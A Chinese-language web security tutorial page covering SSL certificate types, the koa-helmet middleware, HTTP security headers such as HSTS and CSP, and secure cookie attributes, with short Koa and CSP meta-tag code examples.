10
11
12
13
14

SSL 证书分类

https://blog.csdn.net/TrustAsia/article/details/73770588

入门级 DVSSL - 域名有效 无门槛

企业型 OVSSL - 企业资质、个人认证

增强型 EVSSL - 浏览器给予绿色地址栏显示公司名字

# helmet 中间件(15min)

英[ˈhelmɪt] 头盔

https://www.npmjs.com/package/koa-helmet

// npm i koa-helmet -s

const Koa = require('koa')
const helmet = require('koa-helmet')
const app = new Koa()

app.use(helmet())

app.use((ctx) => {
  ctx.body = 'Hello World'
})

app.listen(4000)
1
2
3
4
5
6
7
8
9
10
11
12
13
  • Strict-Transport-Security:强制使用安全连接(SSL/TLS 之上的 HTTPS)来连接到服务器。
  • X-Frame-Options:提供对于“点击劫持”的保护。
  • X-XSS-Protection:开启大多现代浏览器内建的对于跨站脚本攻击(XSS)的过滤功能。
  • X-Content-Type-Options: 防止浏览器使用 MIME-sniffing 来确定响应的类型,转而使用明确的 content-type 来确定。
  • Content-Security-Policy:防止受到跨站脚本攻击以及其他跨站注入攻击。

# Session 管理

对于 cookie 的安全使用,其重要性是不言而喻的。特别是对于动态的 web 应用,在如 HTTP 这样的无状态协议的之上,它们需要使用 cookie 来维持状态

  • Cookie 标示
    • secure - 这个属性告诉浏览器,仅在请求是通过 HTTPS 传输时,才传递 cookie。
    • HttpOnly - 设置这个属性将禁止 javascript 脚本获取到这个 cookie,这可以用来帮助防止跨站脚本攻击。
  • Cookie 域
    • domain - 这个属性用来比较请求 URL 中服务端的域名。如果域名匹配成功,或这是其子域名,则继续检查 path 属性。
    • path - 除了域名,cookie 可用的 URL 路径也可以被指定。当域名和路径都匹配时,cookie 才会随请求发送。
    • expires - 这个属性用来设置持久化的 cookie,当设置了它之后,cookie 在指定的时间到达之前都不会过期。

# 浏览器安全控制

  • X-XSS-Protection

    防止反射型 XSS

  • Strict-Transport-Security

    强制使用 HTTPS 通信

  • CSP

https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Content-Security-Policy__by_cnvoid#%E6%A6%82%E8%BF%B0

https://juejin.im/post/5c6ad29ff265da2da00ea459

HTTP 响应头 Content-Security-Policy 允许站点管理者在指定的页面控制用户代理的资源。除了少数例外,这条政策将极大地指定服务源 以及脚本端点。这将帮助防止跨站脚本攻击(Cross-Site Script) (XSS).

<meta
  http-equiv="Content-Security-Policy"
  content="default-src 'self'; img-src https://*; child-src 'none';"
/>
1
2
3
4

安全防范的总结

https://www.tuicool.com/articles/7Ff2EbZ

无头浏览器技术 - JS 控制 API 直接操纵 Chrome

最近更新: 4 小时前